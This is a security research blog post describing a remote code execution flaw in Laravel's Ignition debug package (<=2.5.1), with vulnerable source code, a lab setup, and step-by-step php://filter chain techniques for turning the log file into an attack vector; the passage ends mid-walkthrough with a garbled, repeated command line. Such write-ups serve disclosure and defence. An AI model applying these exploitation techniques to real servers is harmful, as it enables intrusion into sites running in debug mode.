Contact Us

Laravel <= v8.4.2 debug mode: Remote code execution

Mobile App | February 18, 2021

Laravel <= v8.4.2 debug mode: Remote code execution

In late November of 2020, during a security audit for one of our clients, we came accross a website based on Laravel. While the site’s security state was pretty good, we remarked that it was running in debug mode, thus displaying verbose error messages including stack traces:

Upon further inspection, we discovered that these stack traces were generated by Ignition, which were the default Laravel error page generator starting at version 6. Having exhausted other vulnerability vectors, we started to have a more precise look at this package.

Ignition <= 2.5.1

In addition to displaying beautiful stack traces, Ignition comes with solutions, small snippets of code that solve problems that you might encounter while developping your application. For instance, this is what happens if we use an unknown variable in a template:

By clicking “Make variable Optional”, the {{ $username }} in our template is automatically replaced by {{ $username ? '' }}. If we check our HTTP log, we can see the endpoint that was invoked:

Along with the solution classname, we send a file path and a variable name that we want to replace. This looks interesting.

Let’s first check the class name vector: can we instanciate anything ?

class SolutionProviderRepository implements SolutionProviderRepositoryContract
{
    ...

    public function getSolutionForClass(string $solutionClass): ?Solution
    {
        if (! class_exists($solutionClass)) {
            return null;
        }

        if (! in_array(Solution::class, class_implements($solutionClass))) {
            return null;
        }

        return app($solutionClass);
    }
}

No: Ignition will make sure the class we point to implements RunnableSolution.

Let’s have a closer look at the class, then. The code responsible for this is located in ./vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php. Maybe we can change the contents of an arbitrary file ?

class MakeViewVariableOptionalSolution implements RunnableSolution
{
    ...

    public function run(array $parameters = [])
    {
        $output = $this->makeOptional($parameters);
        if ($output !== false) {
            file_put_contents($parameters['viewFile'], $output);
        }
    }

    public function makeOptional(array $parameters = [])
    {
        $originalContents = file_get_contents($parameters['viewFile']); // [1]
        $newContents = str_replace('$'.$parameters['variableName'], '$'.$parameters['variableName']." ?? ''", $originalContents);

        $originalTokens = token_get_all(Blade::compileString($originalContents)); // [2]
        $newTokens = token_get_all(Blade::compileString($newContents));

        $expectedTokens = $this->generateExpectedTokens($originalTokens, $parameters['variableName']);

        if ($expectedTokens !== $newTokens) { // [3]
            return false;
        }

        return $newContents;
    }

    protected function generateExpectedTokens(array $originalTokens, string $variableName): array
    {
        $expectedTokens = [];
        foreach ($originalTokens as $token) {
            $expectedTokens[] = $token;
            if ($token[0] === T_VARIABLE && $token[1] === '$'.$variableName) {
                $expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
                $expectedTokens[] = [T_COALESCE, '??', $token[2]];
                $expectedTokens[] = [T_WHITESPACE, ' ', $token[2]];
                $expectedTokens[] = [T_CONSTANT_ENCAPSED_STRING, "''", $token[2]];
            }
        }

        return $expectedTokens;
    }

    ...
}

The code is a bit more complex than we expected: after reading the given file path [1], and replacing $variableName by $variableName ?? '', both the initial file and the new one will be tokenized [2]. If we structure of the code did not change more than expected, the file will be replaced with its new contents. Otherwise, makeOptional will return false [3], and the new file won’t be written. Hence, we cannot do much using variableName.

The only input variable left is viewFile. If we make abstraction of variableName and all of its uses, we end up with the following code snippet:

$contents = file_get_contents($parameters['viewFile']);
file_put_contents($parameters['viewFile'], $contents);

So we’re writing the contents of viewFile back into viewFile, without any modification whatsoever. This does nothing !

Looks like we have a CTF on our hands.

Exploiting nothing

We came out with two solutions; if you want to try it yourself before reading the rest of the blog post, here’s how you set up your lab:

$ git clone https://github.com/laravel/laravel.git
$ cd laravel
$ git checkout e849812
$ composer install
$ composer require facade/ignition==2.5.1
$ php artisan serve

Log file to PHAR

PHP wrappers: changing a file

By now, everyone has probably heard of the upload progress technique demonstrated by Orange Tsai. It uses php://filter to change the contents of a file before it is returned. We can use this to transform a file’s contents using our exploit primitive:

$ echo test | base64 | base64 > /path/to/file.txt
$ cat /path/to/file.txt
ZEdWemRBbz0K
$f = 'php://filter/convert.base64-decode/resource=/path/to/file.txt';
# Reads /path/to/file.txt, base64-decodes it, returns the result
$contents = file_get_contents($f); 
# Base64-decodes $contents, then writes the result to /path/to/file.txt
file_put_contents($f, $contents); 
$ cat /path/to/file.txt
test

We have changed the contents of the file ! Sadly, this applies the transformation twice. Reading the documentation shows us a way to only apply it once:

# To base64-decode once, use:
$f = 'php://filter/read=convert.base64-decode/resource=/path/to/file.txt';
# OR
$f = 'php://filter/write=convert.base64-decode/resource=/path/to/file.txt';

Badchars will even be ignored:

$ echo ':;.!!!!!ZEdWemRBbz0K:;.!!!!!' > /path/to/file.txt
$f = 'php://filter/read=convert.base64-decode|convert.base64-decode/resource=/path/to/file.txt';
$contents = file_get_contents($f); 
file_put_contents($f, $contents); 
$ cat /path/to/file.txt
test

Writing the log file

By default, Laravel’s log file, which contains every PHP error and stack trace, is stored in storage/log/laravel.log. Let’s generate an error by trying to load a file that does not exist, SOME_TEXT_OF_OUR_CHOICE:

[2021-01-11 12:39:44] local.ERROR: file_get_contents(SOME_TEXT_OF_OUR_CHOICE): failed to open stream: No such file or directory {"exception":"[object] (ErrorException(code: 0): file_get_contents(SOME_TEXT_OF_OUR_CHOICE): failed to open stream: No such file or directory at /work/pentest/laravel/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php:75)
[stacktrace]
#0 [internal function]: Illuminate\Foundation\Bootstrap\HandleExceptions->handleError()
#1 /work/pentest/laravel/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(75): file_get_contents()
#2 /work/pentest/laravel/laravel/vendor/facade/ignition/src/Solutions/MakeViewVariableOptionalSolution.php(67): Facade\Ignition\Solutions\MakeViewVariableOptionalSolution->makeOptional()
#3 /work/pentest/laravel/laravel/vendor/facade/ignition/src/Http/Controllers/ExecuteSolutionController.php(19): Facade\Ignition\Solutions\MakeViewVariableOptionalSolution->run()
#4 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Routing/ControllerDispatcher.php(48): Facade\Ignition\Http\Controllers\ExecuteSolutionController->__invoke()
[...]
#32 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Pipeline/Pipeline.php(103): Illuminate\Pipeline\Pipeline->Illuminate\Pipeline\{closure}()
#33 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(141): Illuminate\Pipeline\Pipeline->then()
#34 /work/pentest/laravel/laravel/vendor/laravel/framework/src/Illuminate/Foundation/Http/Kernel.php(110): Illuminate\Foundation\Http\Kernel->sendRequestThroughRouter()
#35 /work/pentest/laravel/laravel/public/index.php(52): Illuminate\Foundation\Http\Kernel->handle()
#36 /work/pentest/laravel/laravel/server.php(21): require_once('/work/pentest/l...')
#37 {main}
"}

Superb, we can inject (almost) arbitrary content in a file. In theory, we could use Orange’s technique to convert the log file into a valid PHAR file, and then use the phar:// wrapper to run serialized code. Sadly, this won’t work, for a lot of reasons.

The base64-decode chain shows its limits

We said earlier that PHP will ignore any badchar when base64-decoding a string. This is true, except for one character: =. If you use the base64-decode filter a string that contains a = in the middle, PHP will yield an error and return nothing.

This would be fine if we controlled the whole file. However, the text we inject into the log file is only a very small part of it. There is a decently sized prefix (the date), and a huge suffix (the stack trace) as well. Furthermore, our injected text is present twice !

Here’s another horror:

php > var_dump(base64_decode(base64_decode('[2022-04-30 23:59:11]')));
string(0) ""
php > var_dump(base64_decode(base64_decode('[2022-04-12 23:59:11]')));
string(1) "2"

Depending on the date, decoding the prefix twice yields a result which a different size. When we decode it a third time, in the second case, our payload will be prefixed by 2, changing the alignement of the base64 message.

In the cases were we could make it work, we’d have to build a new payload for each target, because the stack trace contains absolute filenames, and a new payload every second, because the prefix contains the time. And we’d still get blocked if a = managed to find its way into one of the many base64-decodes.

We therefore went back to the PHP doc to find other kinds of filters.

Enters encoding

Let’s backtrack a little. The log file contains this:

[previous log entries]
[prefix]PAYLOAD[midfix]PAYLOAD[suffix]

We have learned, regrettably, that spamming base64-decode would probably fail at some point. Let’s use it to our advantage: it we spam it, a decoding error will happen, and the log file will get cleared ! The next error we cause will stand alone in the log file:

[prefix]PAYLOAD[midfix]PAYLOAD[suffix]

Now, we’re back to our original problem: keeping a payload and removing the rest. Luckily, php://filter is not limited to base64 operations. You can use it to convert charsets, for instance. Here’s UTF-16 to UTF-8:

echo -ne '[Some prefix ]P A Y L O A D [midfix]P A Y L O A D [Some suffix ]' > /tmp/test.txt
php > echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test.txt');
卛浯⁥牰晥硩崠PAYLOAD浛摩楦嵸PAYLOAD卛浯⁥畳晦硩崠

This is really good: our payload is there, safe and sound, and the prefix and suffix became non-ASCII characters. However, in log entries, our payload is displayed twice, not once. We need to get rid of the second one.

Since UTF-16 works with two bytes, we can misalign the second instance of PAYLOAD by adding one byte at its end:

echo -ne '[Some prefix ]P A Y L O A D X[midfix]P A Y L O A D X[Some suffix ]' > /tmp/test.txt
php > echo file_get_contents('php://filter/read=convert.iconv.utf16le.utf-8/resource=/tmp/test.txt');
卛浯⁥牰晥硩崠PAYLOAD存業晤硩偝䄀夀䰀伀䄀䐀堀卛浯⁥畳晦硩崠

The beautiful thing about this is that the alignment of the prefix does not matter anymore: if it is of even size, the first payload will be decoded properly. If not, the second will.

We can now combine our findings with the usual base64-decoding to encode whatever we want:

$ echo -n TEST! | base64 | sed -E 's/./ 
$ echo -n TEST! | base64 | sed -E 's/./ \0/g'
V
/g'
V